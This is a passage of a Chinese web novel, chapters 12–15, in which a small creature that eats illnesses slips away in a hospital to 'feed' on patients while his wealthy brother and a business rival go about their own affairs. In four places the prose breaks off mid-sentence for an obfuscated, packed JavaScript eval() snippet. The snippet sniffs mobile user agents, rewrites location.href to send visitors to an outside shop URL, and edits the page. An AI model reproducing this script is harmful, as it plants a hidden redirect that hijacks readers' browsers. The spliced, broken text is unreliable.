可出乎又又意料的是,他这一路走来,只看见了来来往往的医护人员,并没看见什么病人。 他只能郁闷地问助理哥哥。 助理以为他好奇,便解释道:“这边的诊室都是预约制的,病人都在住院区,以及那边的疗养区……” 又又顺着他指的方向看去,那几栋住院楼,还有那大片的疗养区,仿佛瞬间变成了自助餐盘。 他眼睛冒光,恨不得立刻就冲进去。 可就在这时,他的身体忽然腾空而起,随后便是熟悉的味道和怀抱。 江从谦温声道:“又又是来找哥哥?” 又又:“……” 他呆呆地看着江从谦,“哥哥……” 你怎么在这里啊!! 江从谦揉了揉他的头发:“是不是等急了,哥哥这就带你回去。” 又又:!!! “现……现在就回去吗?” “嗯?”江从谦意识到了不对,“怎么?又又还有什么事吗?” 又又立刻闭紧了嘴巴。 哥哥可是很反感他接近病人的。 要是让哥哥知道他要去住院区,肯定是不会同意的,说不定以后都会不许他跟来医院了! 不行! 绝对不能让他知道。 又又心虚地挠了挠脸颊:“没……没事啊。” 他那点小伎俩哪能瞒得过江从谦。 “又又?” 又又立刻做作地打了个哈欠:“哥哥,又又困了。” 江从谦:“……” “哥哥~”又又抱着他的脖子,像扭股糖似的在他怀里蛄蛹,“走吧走吧,我们回家吧~” 江从谦抱着快要从怀里蛄蛹下去的小祖宗,先前那点小怀疑也散去了。 算了。 又又这么乖的孩子,能有什么坏心眼呢! 又又被他抱上飞行器,含泪望着住院区方向。 呜呜呜…… 再见了!! 我的自助餐!!! 12.第 12 章 江从谦带着又又回了他在蔚蓝星区的庄园。 庄园虽然也在蔚蓝星区,却在与元帅府相隔最远的位置。 江从谦早就将这一片的土地都买了下来,并设立了最高级别的安保措施。 庄园内除了满足居住、办公等需求,还有私人图书馆、宴会厅、机甲训练场等二十多个功能区,甚至还有专门的星舰停泊港,且每个功能区都有专门的团队负责。 甚至因为又又要来住,江从谦还让人在里面建了一座游乐场和玩具屋。 飞行器进入庄园后,又飞了一段时间,到了主屋才停下来。 江从谦抱着又又走下来。 主屋的管家已经在前面候着了。 他偷偷地看了眼被江从谦抱在怀里的又又。 小幼崽似乎有些累,蔫蔫地趴在哥哥怀里。 而江从谦则是有些担忧地询问他,态度耐心细致,甚至称得上啰嗦。 管家面上古井无波,内心却已经尖叫出声了。 这还是他那个冷淡寡言的雇主吗! 他为江从谦都服务五年了,这五年江从谦和他说的话,恐怕还比不上他这一路跟又又说的多。 虽然也是因为江从谦之前忙于工作,总是各个星球之间来回飞,很少回家的缘故。 不过他有预感,有了小少爷之后,先生以后一定会经常回家的。 他当即上前:“先生,小少爷的房间已经整理好了,要先去看看吗?” 江从谦点点头。 又又的房间被安排在他的隔壁,都是按照这个年纪小孩的喜好设计的。 又又原本还因为没有吃上自助餐而怏怏不乐,可看到自己房间时,还是惊喜地“哇”了一声。 江从谦见他有了精神,也放下心来,温柔地摸了摸他的头发:“你要是不喜欢,还可以自己改,想弄成什么样的,直接找莫管家就好。” 莫管家及时上前:“小少爷,你有什么要求可以随时找我。” 自从知道先生要带小少爷回来,莫管家熬夜苦学,已经熟练掌握《幼儿照顾技巧》、《幼儿营养食谱一百道》、《幼儿心理与行为学进阶版》等一系列课程。 眼下正要大展拳脚。 又又笑得弯起眼睛,声音软软的:“谢谢管家叔叔。” 莫管家:!!! 好可爱!!! 他强撑着职业素养:“这是我应该做的。” 这时,又又的肚子“咕噜”了一声。 江从谦:“又又饿了?” 又又委屈地摸着自己的肚子。 可不是饿了吗? 回程时唯一的食物只有哥哥。 好不容易进了医院,本想着能吃顿自助餐的,结果被哥哥发现也没有吃成,实在是太惨了!! 莫管家不失时机地站出来:“厨房那边已经在准备午餐了,这里是菜谱,小少爷喜欢吃什么?” 他一边说着,一边在掌心上出现每一道食物的全息投影。 每一道美食都是颜色鲜亮,造型可爱,还散发着诱人的香气。 莫管家自信,没有小朋友会拒绝这样的食物。 然而又又却兴趣寥寥。 如果是平常,他或许还会尝试一下这些食物,可眼下,只想用哥哥的病症填饱肚子。 他满脸渴望地看着江从谦:“哥哥!” 江从谦却误会了他,愣了一下才道:“又又想吃哥哥……” 做的饭? “嗯嗯嗯!”饿晕了的又又连连点头,完全没有听见后半句话。 江从谦沉默了。 莫管家震惊了。 江从谦从来没有做过饭,可是看着弟弟期待的目光,还是咬牙去了厨房。 过了许久,江从谦才从厨房出来,手里端着三菜一汤。 虽说只是家常菜,但卖相看着很不错! 莫管家:!!! 已经在沙发上瘫成一滩的又又伸出手臂:“哥哥抱~” 早在星舰上时,江从谦就已经习惯了弟弟吃饭时抱着自己。 他熟练地把又又抱进怀里,又给他系好围兜,这才拿起勺子喂饭。 其实除了第一次后,又又都会主动要求自己吃饭。 但江从谦却喜欢上了这种一点一点照顾弟弟的感觉。 仿佛这样,就能补回这些年兄弟之间丢失的相处时间。 又又也就只能满足哥哥了。 兄弟俩习以为常,倒是一旁的莫管家看得目瞪口呆。 他连忙反应过来:“先生,我来给小少爷喂饭吧!” 他可是专门练习了十二种给孩子喂饭的小技巧,在这项模拟考试中拿到了满分成绩。 然而,又又却紧紧地搂着江从谦的脖子:“我只要哥哥。” 江从谦嘴角浮起一点矜持的笑意:“又又吃饭的时候,只让我抱的。” 虽然他的语气和往常似乎没有区别,但莫管家总觉得有点微妙的炫耀。 没关系。 他安慰自己,一个优秀的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16926102|192570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 管家是不会轻易屈服的。 他就在旁边等着,一旦先生和小少爷有需要,他马上就能顶上去。 然而,江从谦的一举一动简直跟教科书一般标准。 莫管家完全没有插手的余地。 一开始,莫管家以为这只是偶然现象。 先生工作这么忙,哪有空一直照顾小少爷呢? 可又又实在太黏他了。 简直就像个小跟屁虫一般,哥哥去哪,他就去哪。 尤其是吃饭的时候,是一定要抱着哥哥才肯吃。 可江从谦不仅不觉得烦,反而还很高兴。 又又只亲近他,只依赖他。 不正是因为已经接纳了他,把他当成哥哥了吗? 因而,他越发变本加厉,对又又的照顾全部都亲力亲为,绝不假于人手。 莫管家全然没有插手的余地。 他隐约有种自己要失业的危机感。 不过没关系。 一个优秀的管家是不会轻易屈服的。 他还有别的地方可以卷!!! 莫管家斗志十足,谁知刚直起腰,就忍不住“嘶”了一声。 其实前几天他就感觉到腰有些隐隐不舒服了。 不过当时他正忙着,也就没有去管,想着等忙完这段再去治疗。 他扶着腰,忍不住揉了揉。 这时,他就看到又又迷迷糊糊地揉着眼睛走过来。 应该是睡醒午觉,习惯性找哥哥。 莫管家立刻忘掉了腰痛,连忙迎上去:“小少爷,先生正在换衣服,我带你过去找他……” 又又眼睛都还没睁开,鼻子却已经先动了动。 香香的! 是跟哥哥身上不同的味道!! 虽然是很轻微的病症,远远比不上哥哥的好吃。 但天天吃山珍海味也是会腻的,这时候有个路边小摊作为调剂,正是刚好。 于是,莫管家就看着,平日里除了先生谁都不黏的小少爷,忽然扑到了他怀里。 软软的,还带着一点奶香气。 萌萌哒的大眼睛看着他,甜甜地叫道:“管家叔叔!” 莫管家:!!! 他顿时腰也不疼了,腿也不酸了。 整个人飘飘欲仙。 于是,等江从谦换好衣服出门,就看到莫管家抱着又又,笑得跟朵菊花似的。 江从谦:??? 等等! 说好的只要哥哥呢!! 13.第 13 章 夜幕降临。 奥尔顿庄园内灯火通明,停泊港内不断有飞行器起落。 穿着华丽的宾客下了飞行器,就有专门的侍从引导他们去往宴会厅。 宴会厅里放着柔和的音乐,宾客们握着酒杯各自交谈,只是都有些心不在焉地看向门口。 他们都是为了晶髓矿星的项目来的。 这块大肥肉能啃下的人不多,这其中,最有实力的就是江从谦了。 他们倒也不指望抢。 只是这么大个项目,大佬吃肉,他们跟着喝口汤也不错。 然而江从谦最近十分忙碌,几乎拒绝了所有邀约。 这次要不是奥尔顿先生邀请,他恐怕也不会来。 就在众人窃窃私语时,江从谦走下了飞行器。 得到消息的奥尔顿亲自来门口迎接:“江先生,百忙之中拨冗前来,实在是我的荣幸!” 江从谦轻笑着寒暄了几句。 原本四处聊天的宾客们,也都纷纷凑上前,一阵恭维谄媚。 将宴会大门堵得水泄不通。 就在这番鲜花着锦时,一声冷嗤不合时宜地响起。 众人下意识回头,就见慕越斜倚着廊柱,满眼嘲弄地看着他们。 原本还吵嚷着的人们瞬间安静下来。 随后悄悄地觑向江从谦的脸色。 谁都知道,慕越和江从谦不和。 这次慕氏集团也是项目的有力争夺者,新仇旧恨加一起,慕越这声冷嗤冲着谁不言而喻。 果然,慕越看到被人群簇拥的江从谦,脸色瞬间变得难看起来。 倒是江从谦神情不变,仍旧是淡淡的样子。 原本堵着门的人下意识让开。 慕越收回目光,朝室内走去。 只是在擦肩而过时,江从谦却含笑说道:“慕先生,我们又见面了。” 慕越的脚步顿住,目光凌厉地看向江从谦。 众人:!!! 他们不会打起来吧!! 好刺激!! 一些看热闹不嫌事大的偷偷打开了摄像头,满脸兴奋地等着慕越发难。 可出乎他们意料的是,慕越脸色几变,最后竟然忍耐下来,一声不吭地走了进去。 所有人都呆住了。 这还是那个行事无所顾忌,疯狗一般的慕越吗?! 接下来,江从谦与慕越成了宴会中的焦点。 然而,往常一遇到就会针锋相对的两人,今天竟然达成了某种诡异的平和,颇有种井水不犯河水的感觉。 奥尔顿举着酒杯,笑眯眯对江从谦道:“看来这晶髓矿星已经是江先生的囊中之物了。” 江从谦却并不自傲:“不到最后一刻,谁又知道结果如何呢。” “江先生还是一如既往的谨慎。”奥尔顿哈哈一笑,“慕先生都退让了,这满场还有谁是江先生您的对手呢?” 江从谦勾了勾唇角:“这不是还有奥尔顿先生您吗?” 奥尔顿一愣,随即摆了摆手:“我是不成了,年纪大了,不如你们年轻人有拼劲,我就跟在后头喝点汤就好了。” 江从谦微微一笑,也不知道是信了还是没信。 他们在这边相谈甚欢,另一边的慕越却是满心憋屈。 相熟的朋友拿酒杯撞了撞他的,试探地问道:“故意避开江从谦,这可不像你?” 慕越:“……” 更憋屈了! 可是江从谦知道爷爷生病的事情,自己的把柄握在他手上,自然不能轻举妄动。 朋友又说道:“你要是不争,我可就去找江从谦了,好歹跟着喝口汤。” 慕越知道朋友是在激自己,却也明白,他说的是对的。 在场的这些人都是趋利的,自己如果一直避开江从谦,恐怕会让他们以为自己怕了他,到时晶髓矿星这个项目可就真没他什么事了。 然而他刚走到奥尔顿身边,就听到江从谦在同奥尔顿告辞。 江从谦这次过来宴会的目的已经达成,想到又又还在家里巴巴地等他回去,便不打算在这浪费时间。 江从谦走后,奥尔顿看了眼慕越,意味深长道:“我听说,江先生近来转了性,每天都早早回家,也不知道是藏了什么秘密?” 慕越闻言,不禁皱起了眉头。 - 江从谦回到家时,又又已经睡着了。 往常他都会等江从谦回来,抱着哥哥吃顿“夜宵”再去睡觉。 但今晚他已经提前从莫管家身上吃到了,于是早早就去睡了。 江从谦看了眼又又没心没肺的睡颜,心里不由得酸酸的。 他不再是弟弟最依赖、最喜欢的大哥了。 可就当他转身要离开的时候,抱着被子的又又却呢喃出声:“哥哥……” 江从谦怔住,目光瞬间变得柔软,伸手摸了摸又又的额发。 又又闭着眼睛蹭了蹭,随即嘴巴“吧嗒吧嗒”的,一滴晶莹的口水慢慢滚落下来。 江从谦忍不住笑起来:“小馋猫……” 嘴上这么说着,手上却拿了纸巾擦掉他嘴角的口水,又把房间的温度微调了一下,这才离开。 又又完全不知道哥哥这一番心理活动。 他梦到自己吃到了好多没有吃到的病,早上醒来的时候都还在回味。 迷迷瞪瞪地坐在床上,不想起来。 江从谦推门进来:“小懒虫,怎么还不起床?” 又又虽然人还没清醒,却已经条件反射地伸出了手:“哥哥抱~” 江从谦抱着他洗漱完,又一路抱到餐桌前。 餐桌上已经摆好了丰富的早饭。 江从谦一边给又又喂早饭,一边跟他说道,“哥哥今天要去一趟医院,中午可能会回来得比较晚,你让莫管家……” 原本还迷迷糊糊的又又,听到“医院” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16931776|192570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两个字瞬间清醒过来:“哥哥!我也要去!” 江从谦皱起眉:“什么?” 又又眼珠一转,讨好地抓着他的手:“哥哥,我就是想陪着你,不想你孤零零地去医院。” 江从谦的眉头又舒展开了。 果然,又又只是在乎他这个大哥而已。 在又又的撒娇下,江从谦很快举械投降,把他带上了飞行器。 知道要去吃自助餐,又又整个人都精神了,趴在舷窗往外看。 最近,江从谦实在太忙了,根本抽不出时间陪他去玩。 见弟弟好奇地看着窗外,心里又是自责:“又又,等哥哥忙完这段时间,就陪你出去玩好不好,以后……” 他的话忽然顿住。 他的病也不知道还有没有以后。 然而又又却摇摇头:“我不出去玩,我要陪哥哥去医院!” 江从谦愣住了,看着弟弟认真的样子,喉头哽住,心头被暖意涨得满满的。 到了医院后,早早就守着的乐清沅,一看到他就要带他去检查。 江从谦只能简短地嘱咐了又又几句,让护卫在门口保护他,就被乐清沅急吼吼地拖走了。 可他一走,又又就猫着腰从窗户爬出去。 休息室在一楼,窗户后面是大片植物,根本没人注意一只小幼崽偷偷摸摸从这里溜出去。 又又跑出来后长出了一口气,立刻雄赳赳气昂昂地朝住院区走去。 上次来,他可是专门记了路的。 又又给自己的聪明暗暗点了个赞。 只是还没等他走到住院区,便看到在住院区和疗养区交界的地方,有个男人颓废地坐在椅子上。 男人黑发中带着几缕绿色,垂着脸,看不清长相,四周的草木却长得极为茂盛。 不过,又又注意到他,是因为他搭着的手指上正在流血。 又又眼睛“噌”一下就亮了。 果然! 聪明的崽崽有饭吃! 虽然只是小伤,但他不挑食哒! 他倒腾着小短腿朝对方走过去,还没有靠近,面前的小草腾得窜高,柔软的草叶也瞬间锋利如针。 慕越满脸阴沉地抬起头,想看看是哪个不知死活的要来打搅他。 然而面前却空无一物。 慕越都怔住了。 随即,他就看到草叶后方举起一只白嫩的小手。 “哥哥,我在这里。” 慕越:“……” 他撤回异能,草叶卸掉了锋利,重回柔软,露出了后面还没有草高的小幼崽。 小幼崽的衣服上有一点脏污,乱糟糟的栗发里插了几片草叶子,却不哭也不闹,反而朝他露出一个天真无邪的笑容。 哪怕是慕越这种冷酷心肠,也被小幼崽可爱得软了一下。 然后他就听见小幼崽说:“哥哥,你好香啊!” 慕越:“……?” 14.第 14 章 慕越最近忙得不可开交。 自从爷爷住进疗养区后,慕氏集团的事情就全压在了他的身上。 他昨晚参加完奥尔德先生的宴会,又回到公司加班,直到快天明才勉强睡了两个小时,紧接着又急忙赶到医院。 谁知,没跟爷爷聊两句,他的神情忽然一变。 整个人瞬间摔到地上,冷汗浸透了扭曲的面容,喉咙里发出“嗬嗬”的声音。 怕他因为剧痛咬掉舌头,慕越来不及多想,用自己的手指抵住爷爷的口腔。 瞬间,一股尖锐的疼痛从指尖炸开。 已经痛得失去理智的慕老爷子,完全不知道自己咬住的是最疼爱的孙子。 鲜血在他的齿间弥漫,再加上他疼痛而扭曲的面容,简直有些可怖。 可慕越并不害怕。 因为他知道,爷爷现在承受的疼痛,远比他要重得多。 最终还是医护人员及时赶来,将他的手指解救出来,又给老爷子接着打止疼针和舒缓剂。 原本还有人问慕越要不要处理伤口,他却摇摇头,失魂落魄地离开了病房。 这些天,他一直在找有没有办法治愈爷爷,可越找就越绝望。 所有医生都告诉他,异能崩坏症只能延缓,不可能治愈,尤其是爷爷这种晚期患者,基本上只能等死。 甚至还有人好心劝他,这种病后期的疼痛常人根本无法忍受,老人家也那么大年纪了,还不如让他早点去了,免得多受折磨。 他当时就把那人给揍了。 爷爷是他最重要的亲人,他倾家荡产也会治好爷爷,他是绝不会做这种事的。 然而此刻,他却第一次产生了动摇。 他这样做对吗? 他让爷爷忍受着这样的痛苦,留在世上陪他。 是不是也是一种自私? 他越想越觉得喘不过气来。 一个人胡乱走出了疗养区,本想坐这个角落独自安静一会,却没想到碰到了一个小幼崽,还…… 被调戏了。 慕越抱着胸,皱紧眉头看着小幼崽:“你知道你在说什么吗?” 又又歪着头,眼里全是迷茫。 慕越低嗤一声。 他真是糊涂了。 这么小的孩子懂什么,他会这些,只可能是耳濡目染,被家人带坏的。 看他的衣服,不仅料子好,看起来还是私人订制,这小孩的家境应该不错。 不过小幼崽看着有点瘦,身上也脏兮兮的,还一个人在外面瞎跑,也不知道是不是监护人不经心。 慕越脑中顿时浮现出一个勾三搭四、花心滥情、不负责任的渣男形象。 看着眼前的小幼崽,也不禁有了一丝同情:“小孩,你从哪里来的?” 又又眨巴了一下眼睛:“你问这个做什么?” 慕越:“当然是把你送回去。” 又又目光闪了闪:“我是从住院区过来的。” “说谎。”慕越毫不留情地拆穿他,“说谎的小朋友可是会被爸爸妈妈揍的。” 又又:“可我又没有爸爸妈妈。” 慕越愣住了。 他没想到,这个天真活泼的小幼崽,竟然也和他一样没有爸爸妈妈。 他的心情有些五味杂陈:“我也是,我是爷爷带大的,你呢?” 又又:“我有哥哥!哥哥超级超级好!” 慕越被他奶呼呼的声音勾起一丝笑意,但很快又反应过来。 他哥哥? 就那个带坏小孩的,勾三搭四、花心滥情、不负责任的渣男! 他轻啧了一声。 这种人会带孩子吗? 又又闻着近在咫尺的香味,咽了口口水,以迅雷不及掩耳之势抓住慕越的手。 慕越正思索着,冷不丁就被一只软乎乎的小手给抓住了。 那手还没他掌心大,只能勉强抓住他一根手指。 团起来像一颗雪媚娘,轻轻一戳就能爆出奶油一般。 这让原本想甩开他的慕越僵住了。 又又也愣住了。 没想到。 这个哥哥看着还挺健康的,身体里这么有料呢! 胃病、失眠、焦虑、偏头痛……相比之下,他手上的伤口反倒是最轻的了。 又又吃得满足不已,忍不住道:“哥哥,我真的好喜欢你呀!” 慕越冷不丁被告白,还是个没有草高的小幼崽,简直哭笑不得,故意逗他:“你喜欢我,然后呢?” 又又疑惑地看着他:“什么然后?” 慕越故意问:“你哥哥没有教你,对喜欢的人要怎么做吗?” 又又仔细地想了想,却只想到了洛恩临走前,哥哥特意把他叫到一旁,当着所有人的面塞给了他一张卡和一个通讯号。 事后,哥哥才告诉他,他这么做是告诉所有人,洛恩是他的朋友,他这个做哥哥的会是他的后盾,这样即便他回到了家族,那些人也不会欺负他。 想到这里,又又用力地点点头:“哥哥会给他一张卡,然后让他走。” 慕越:“……” 果然是个渣男啊!!! 看着又又那张单纯的小脸,慕越竟油然而生一种保护联邦花朵不受荼毒的责任感。 他对着又又语重心长道:“你哥哥这样做是不对的。” 又又便反问:“那怎么样才是对的呢?” 慕越卡了一下。 他哪里知道什么样是对的,他又没有喜欢的人。 只能不负责任地说道:“嗯……带对方回家吧。” 又又想了想,遗憾地摇摇头:“我哥哥是不会让我带你回家的。” 所以你哥哥是个渣男!! 慕越忍了许久,才把这句话给咽下去。 就算是渣男,那也是把小孩带大的哥哥,将心比心,他不喜欢别人说爷爷的坏话,小孩自然也不会高兴听他说自己哥哥的坏话。 慕越还想说什么,却忽然见到又又白嫩的指尖出现了一点红色。 还没等他细看,又又就已经松开了手:“好了,哥哥我要走了。” 慕越愣了一下。 然而先前还亲亲热热说着喜欢他的小孩,干脆利落、没有丝毫不舍地跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16936298|192570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他挥了挥手,就迈着小短腿“嘿咻嘿咻”地走了。 “喂!”慕越下意识想追出去,通讯却响了起来。 是他之前预约的身体检查。 慕越这才后知后觉,胃不疼了,太阳穴那时不时的胀痛也消失了,连精神都好了很多。 又又摸了摸肚子。 可不能因为这个哥哥耽误了。 毕竟他这顿自助餐是有时限的,等哥哥检查完了,就得结束了。 - 江从谦坐在章老的诊室内,有些心神不宁。 乐清沅和章老将他的数据拿去了实验室,现在还没回来。 他站起身,想要走动一下,门却仿佛被撞开一般。 乐清沅满脸兴奋地冲了进来。 江从谦的心脏重重地跳动起来。 他仿佛已经猜到了某种结果。 果然,乐清沅紧接着便小心关上门,走近他,压低声音道:“异能崩坏度又降低了1%!” 虽然早有预料,但听到他这句话时,江从谦还是有一瞬间脑袋空白,慢了半拍才看向乐清沅手中的检测报告。 73%! 虽然只是1%的降低,带来的却是希望。 就像是脖颈间长久束缚的绳索被取掉,那种压抑、窒息也随之消失,取而代之的,是从未有过的轻松,甚至让他出现了一丝茫然。 这是真的吗? 他不是在做梦吗? 这时,门再次被打开。 他警惕地抬起头,却见进来的是章老。 老人家走得气喘吁吁,虽然强撑着平静,但眼眶已经湿了。 对于江从谦来说,这是解脱,是希望。 对章老也是,亦是如此。 他研究了一辈子,眼睁睁看着自己的病人在病床上痛苦哀嚎,看着他们陷入绝望选择自尽。 他走在一条漆黑无光的道路上,不知前路到底是什么。 一次次怀疑自己,一次次否定自己。 而如今,终于看到了一丝光亮。 章老颤抖地抓着他的手:“江先生,您调查得怎么样?有没有什么线索?” 江从谦摇摇头。 这段时间,他派了几波人去埃米尔星区调查,却没有任何有用的线索传来。 章老不禁皱起眉头,却下定决心:“我决定亲自去一趟埃米尔星区!” 江从谦和乐清沅都惊讶地看向他。 乐清沅连忙道:“老师,您的身体……” “不用担心我。”章老摆了摆手,“我追寻了一辈子的答案就在那里,我怎么可能无动于衷,况且,我对这个病这么熟悉,更能有的放矢地找线索。” 江从谦沉吟片刻,便颔首道:“章老说得对,我们漫无目的地找效率太低,有您的加入,找到的可能性会大大增加!” 章老也是个雷厉风行的性子,当即便回去收拾行李,准备第二天跟着江从谦的人一起去埃米尔星区。 江从谦压抑着喜悦,回到休息室,却见休息室空无一人。 原本应该乖乖坐在沙发上玩游戏吃零食的又又,竟然消失了。 15.第 15 章 又又迷茫地站在住院区的分叉口。 他怎么都没想到,自己找到了去住院区的路,却在住院区里面迷路了。 不过也不怪他。 毕竟如今医疗手段发达,很多小病只需要躺治疗舱就能痊愈,需要住院的,大多是异能相关或者基因类疾病。 异能者大部分都破坏力惊人,因而住院区的病房都是单间,并且还是特制的。 没有预约,或者没有医护人员的带领,是进不去的。 又又沮丧地撑着脸颊,又累又饿。 怎么想吃个自助餐就这么难呢! 就在这时,他耸动鼻尖,嗅到了一丝和哥哥身上很像的味道。 又又吓了一跳。 不会是被哥哥发现了吧! 他蹑手蹑脚地朝香味的源头走去,首先见到的是一片湖泊,湖泊旁有个坐着轮椅的老人,那股和哥哥相似的香味,就是从他身上散发出来的。 不过,他的香味比哥哥还要更浓郁。 又又深吸一口气,刚提着步子准备走过去,那老人竟然倏地看了过来。 他虽然年纪大了,但目光却还很犀利。 他正是慕疆。 原本他刚注射完止痛药和舒缓剂,应该在床上休息的。 但慕疆实在是讨厌这种废人般的状态,强行坐上了轮椅,还不许别人跟着,独自来湖边散心。 慕疆本以为是来打探消息的虫豸,却不想竟是个没膝盖高的小孩。 长得倒是可爱,就是浑身脏兮兮的,像是在泥地里滚了几圈。 见他发现了,那小孩也不害怕,反倒甜甜地笑着朝他跑过来。 “哎!” 慕疆连忙出声提醒,但已经来不及了。 又又“砰”地一下撞到了空气墙上,一屁股墩坐在了地上。 住院区和疗养区看似联通,但其实中间是有空气墙阻隔的。 慕疆没想到这小孩这么莽,竟然直直地撞了过去。 他脑门撞得通红,却并没有哭闹,懵懵懂懂地坐在地上,简直又可爱又可怜。 慕疆将这一片空气墙给关掉,控制着轮椅过去,停在又又身前,粗声粗气道:“你这小孩,怎么冒冒失失的!摔坏了没?” 又又原本是有些委屈的。 可随着慕疆靠近,那股香味就越浓。 分明在哥哥身上吃腻了的味道,可闻到的时候,还是让崽无法抗拒! 又又吸了吸鼻子,坚强地站了起来:“我没事!” “哎哟!还挺勇敢!”慕疆脸上露出一丝笑意,但很快又收敛,“既然没事,就赶紧回去吧。” 啊? 让他回去! 怎么还会有病人要赶食病兽走的呀! 他委屈地看着慕疆,仿佛他做了什么十恶不赦的事情一般。 连慕疆都愣了一下:“怎么了?” 又又瘪嘴:“抱抱~” 那理直气壮的小模样,把慕疆都逗笑了。 自从生病以来,他的心情就一直沉甸甸的,很久没有这么轻松地笑出来过了。 作为慕氏集团的掌权者,他身边围绕的人不是讨好他,就是有求于他。 即便是孩子,也都不那么单纯。 哪像又又这样生动鲜活又讨人喜欢。 也不知道是谁家养出来的这么可爱的小家伙。 慕疆满心的警惕不知不觉消散,俯身将又又抱起来。 暖融融的奶香混杂着清新的草木香气迎面扑来,让他身体的疼痛似乎都减轻了许多。 又又不重,白白嫩嫩的,抱在怀里像一颗棉花糖似的。 偏偏这颗棉花糖现在脏兮兮的,把慕疆身上的病号服也弄脏了。 慕疆一边嫌弃,一边却认真地用袖子给他擦掉。 老爷子力气有些大,又又被蹭得一直往后仰,在慕疆腿上一直扑腾。 慕疆浑然不觉,一边擦一边状似不经意地问道:“小孩,你叫什么名字?” 又又吃得跌宕起伏的,说话也是断断续续的:“我叫……又又。” “又又。”慕疆哦了一声,又问,“你是跟谁过来的?” “跟……哥哥。” 又又试图躲开慕疆擦脸的手指,却被老爷子一把攥住了后颈。 “别乱动,脏兮兮跟小花猫似的,哥哥看到不得教训你啊?” 又又倔强地别开脸:“呜……哥哥才不会教训我!” 慕疆淡定地伸长手,精准地把他别开的那块脏污给擦掉:“哦,你哥哥那么疼你,那你偷跑出来,他不着急吗?” “哥哥才不知道我偷跑……”又又说完才反应过来,“我我我不是偷跑!” 食病兽吃自助餐的事,怎么能叫偷跑呢! 慕疆此时终于把人擦干净了,看着又又恢复得干干净净的小脸,满意地点点头。 “哦,不是偷跑,那你哥哥是谁?我一会让人把你送回他那里?” 又又立刻闭紧嘴巴。 他才不会说哥哥是谁呢! 他可是听到哥哥和乐医生说的话了,哥哥的病需要保密的! 他顿时吃也不吃了,迅速从慕疆身上爬下去。 慕疆没想到又又突然翻脸,连忙反应过来:“好好好,我不问了。” 但又又已经跑出一段距离了。 虽然他还是很想继续吃,可跟哥哥一比,他也可以忍住。 还没等慕疆继续说什么,他就已经一溜烟钻进住院区跑了。 “嘿!”慕疆脸上哭笑不得,“这小孩!比我老头子脾气还大!” 听到他问哥哥名字就反应这么大,想来他哥哥身份应当不简单。 这圈子就这么大,迟早能碰上的。 这时,得知消息的慕越也赶了过来,看到爷爷好端端在湖边,提着的那颗心才落了下来。 慕疆一见他表情,就猜到他在想什么,瞬间又是一个爆栗,全然没有在又又面前的和蔼可亲:“怎么?以为我会寻死?” 慕越见爷爷这样子,反而松了口气:“没有没有。” “行了,回去吧。”慕疆叹了口气。 又又不在,在这待着也是无趣。 慕越替爷爷推着轮椅,见他情绪还算好,便试探道:“爷爷,异能崩坏度的检测已经拖了几天了,医生都在那等着,要不我们今天就把检查做了吧?” “做什么做!”慕疆意兴阑珊地摆摆手,“做来做去不都那样,不看那劳什子数据,我还能多高兴会。” 见他态度坚决,慕越也只能无奈地答应了。 - 又又刚跑回住院区,正准备继续自己的自助餐之旅,通讯器却响了起来。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16940464|192570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >又又一看到上面“哥哥”两个字,顿时慌了。 他连忙接通,有些心虚地喊道:“哥哥~” 江从谦听到他的声音,疯狂释放的异能才缓了下来。 室内紧绷窒息的氛围为止一松。 江从谦只扫了一眼又又身处的环境,脑中瞬间浮现出医院的平面图,很快就确定了他的位置。 “你在那等着哥哥,哥哥来接你。” 又又懵懵地应了一声。 没过多久,江从谦的身影便出现了。 向来沉稳干练的他,此刻的样子却显得有些狼狈,整齐的头发有些乱了,衣着也因为奔跑而有些凌乱。 可他全然不顾,快步上前,将又又的身体抱进怀里。 熟悉的感觉终于安抚了他那颗狂跳的心脏,颤抖的手也渐渐平稳下来。 这些年他总是无数次想起弟弟被星盗掳走的场景,在找回又又后,他也无法克制自己内心的恐惧。 他开始后悔,自己不该带又又出来的。 又又被哥哥抱得有些紧,下意识挣扎了一下。 